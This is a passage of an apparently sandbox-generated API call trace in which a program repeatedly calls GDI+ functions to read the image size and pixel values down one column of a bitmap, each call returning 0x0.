(image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.226] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=175, color=0x19eed4) returned 0x0 [0159.226] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.226] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.226] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=176, color=0x19eed4) returned 0x0 [0159.226] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.227] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.227] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=177, color=0x19eed4) returned 0x0 [0159.227] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.227] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.227] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=178, color=0x19eed4) returned 0x0 [0159.227] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.227] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.227] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=179, color=0x19eed4) returned 0x0 [0159.227] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.227] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.227] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=180, color=0x19eed4) returned 0x0 [0159.227] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.227] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.227] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=181, color=0x19eed4) returned 0x0 [0159.227] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.227] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.227] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=182, color=0x19eed4) returned 0x0 [0159.227] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.227] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.227] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=183, color=0x19eed4) returned 0x0 [0159.227] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.227] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.228] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=184, color=0x19eed4) returned 0x0 [0159.228] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.228] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.228] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=185, color=0x19eed4) returned 0x0 [0159.228] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.228] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.228] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=186, color=0x19eed4) returned 0x0 [0159.228] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.228] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.228] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=187, color=0x19eed4) returned 0x0 [0159.228] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.228] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.228] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=188, color=0x19eed4) returned 0x0 [0159.228] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.228] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.228] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=189, color=0x19eed4) returned 0x0 [0159.228] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.228] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.228] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=190, color=0x19eed4) returned 0x0 [0159.228] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.228] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.228] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=191, color=0x19eed4) returned 0x0 [0159.228] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.229] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.229] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=192, color=0x19eed4) returned 0x0 [0159.229] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.229] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.229] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=193, color=0x19eed4) returned 0x0 [0159.229] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.229] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.229] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=194, color=0x19eed4) returned 0x0 [0159.229] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.229] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.229] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=195, color=0x19eed4) returned 0x0 [0159.229] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.229] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.229] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=196, color=0x19eed4) returned 0x0 [0159.229] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.229] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.229] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=197, color=0x19eed4) returned 0x0 [0159.229] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.229] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.229] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=198, color=0x19eed4) returned 0x0 [0159.229] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.229] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.229] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=199, color=0x19eed4) returned 0x0 [0159.230] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.230] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.230] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=200, color=0x19eed4) returned 0x0 [0159.230] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.230] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.230] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=201, color=0x19eed4) returned 0x0 [0159.230] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.230] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.230] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=202, color=0x19eed4) returned 0x0 [0159.230] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.230] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.230] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=203, color=0x19eed4) returned 0x0 [0159.230] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.230] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.230] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=204, color=0x19eed4) returned 0x0 [0159.230] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.230] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.230] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=205, color=0x19eed4) returned 0x0 [0159.230] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.230] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.230] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=206, color=0x19eed4) returned 0x0 [0159.230] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.230] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.230] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=207, color=0x19eed4) returned 0x0 [0159.231] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.231] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.231] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=208, color=0x19eed4) returned 0x0 [0159.231] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.231] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.231] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=209, color=0x19eed4) returned 0x0 [0159.231] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.231] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.231] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=210, color=0x19eed4) returned 0x0 [0159.231] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.231] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.231] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=211, color=0x19eed4) returned 0x0 [0159.231] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.231] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.231] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=212, color=0x19eed4) returned 0x0 [0159.231] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.231] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.231] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=213, color=0x19eed4) returned 0x0 [0159.231] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.231] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.231] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=214, color=0x19eed4) returned 0x0 [0159.231] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.231] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.231] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=215, color=0x19eed4) returned 0x0 [0159.232] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.232] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.232] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=216, color=0x19eed4) returned 0x0 [0159.232] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.232] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.232] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=217, color=0x19eed4) returned 0x0 [0159.232] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.232] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.232] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=218, color=0x19eed4) returned 0x0 [0159.232] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.232] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.232] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=219, color=0x19eed4) returned 0x0 [0159.232] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.232] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.232] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=220, color=0x19eed4) returned 0x0 [0159.232] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.232] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.232] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=221, color=0x19eed4) returned 0x0 [0159.232] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.232] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.232] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=222, color=0x19eed4) returned 0x0 [0159.233] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.233] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.233] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=223, color=0x19eed4) returned 0x0 [0159.233] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.233] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.233] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=224, color=0x19eed4) returned 0x0 [0159.233] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.233] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.233] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=225, color=0x19eed4) returned 0x0 [0159.233] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.233] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.233] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=226, color=0x19eed4) returned 0x0 [0159.233] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.233] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.233] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=227, color=0x19eed4) returned 0x0 [0159.233] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.233] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.233] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=228, color=0x19eed4) returned 0x0 [0159.233] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.233] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.233] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=229, color=0x19eed4) returned 0x0 [0159.233] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.233] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.234] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=230, color=0x19eed4) returned 0x0 [0159.234] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.234] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.234] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=231, color=0x19eed4) returned 0x0 [0159.234] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.234] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.234] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=232, color=0x19eed4) returned 0x0 [0159.234] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.234] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.234] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=233, color=0x19eed4) returned 0x0 [0159.235] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.235] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.235] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=234, color=0x19eed4) returned 0x0 [0159.235] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.235] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.235] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=235, color=0x19eed4) returned 0x0 [0159.235] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.235] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.235] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=236, color=0x19eed4) returned 0x0 [0159.235] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.235] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.235] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=237, color=0x19eed4) returned 0x0 [0159.235] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.235] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.235] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=238, color=0x19eed4) returned 0x0 [0159.235] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.235] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.235] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=239, color=0x19eed4) returned 0x0 [0159.235] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.235] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.235] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=240, color=0x19eed4) returned 0x0 [0159.235] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.235] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.235] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=241, color=0x19eed4) returned 0x0 [0159.236] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.236] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.236] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=242, color=0x19eed4) returned 0x0 [0159.236] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.236] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.236] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=243, color=0x19eed4) returned 0x0 [0159.236] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.236] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.236] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=244, color=0x19eed4) returned 0x0 [0159.236] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.236] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.236] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=245, color=0x19eed4) returned 0x0 [0159.236] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.236] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.236] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=246, color=0x19eed4) returned 0x0 [0159.236] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.236] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.236] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=247, color=0x19eed4) returned 0x0 [0159.236] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.236] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.236] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=248, color=0x19eed4) returned 0x0 [0159.237] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.237] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.237] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=249, color=0x19eed4) returned 0x0 [0159.237] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.237] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.237] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=250, color=0x19eed4) returned 0x0 [0159.237] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.237] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.237] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=251, color=0x19eed4) returned 0x0 [0159.237] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.237] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.237] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=252, color=0x19eed4) returned 0x0 [0159.237] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.237] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.237] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=253, color=0x19eed4) returned 0x0 [0159.237] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.237] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.237] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=254, color=0x19eed4) returned 0x0 [0159.238] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.238] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.238] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=255, color=0x19eed4) returned 0x0 [0159.238] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.238] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.238] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=256, color=0x19eed4) returned 0x0 [0159.238] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.238] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.238] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=257, color=0x19eed4) returned 0x0 [0159.238] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.238] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.238] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=258, color=0x19eed4) returned 0x0 [0159.238] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.238] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.238] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=259, color=0x19eed4) returned 0x0 [0159.238] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.238] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.238] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=260, color=0x19eed4) returned 0x0 [0159.238] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.238] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.238] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=261, color=0x19eed4) returned 0x0 [0159.238] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.238] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.239] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=262, color=0x19eed4) returned 0x0 [0159.239] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.239] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.239] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=263, color=0x19eed4) returned 0x0 [0159.239] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.239] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.239] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=264, color=0x19eed4) returned 0x0 [0159.239] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.239] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.239] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=265, color=0x19eed4) returned 0x0 [0159.239] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.239] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.239] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=266, color=0x19eed4) returned 0x0 [0159.239] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.239] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.239] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=267, color=0x19eed4) returned 0x0 [0159.239] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.239] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.239] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=268, color=0x19eed4) returned 0x0 [0159.239] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.239] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.239] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=269, color=0x19eed4) returned 0x0 [0159.239] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.240] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.240] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=270, color=0x19eed4) returned 0x0 [0159.240] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.240] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.240] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=271, color=0x19eed4) returned 0x0 [0159.240] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.240] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.240] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=272, color=0x19eed4) returned 0x0 [0159.240] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.240] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.240] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=273, color=0x19eed4) returned 0x0 [0159.240] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.240] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.240] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=274, color=0x19eed4) returned 0x0 [0159.240] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.240] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.240] GdipBitmapGetPixel (bitmap=0x5b7f3b8, x=284, y=275, color=0x19eed4) returned 0x0 [0159.240] GdipGetImageWidth (image=0x5b7f3b8, width=0x19eec4) returned 0x0 [0159.240] GdipGetImageHeight (image=0x5b7f3b8, height=0x19eec4) returned 0x0 [0159.240] GdipBitmapGetPixel 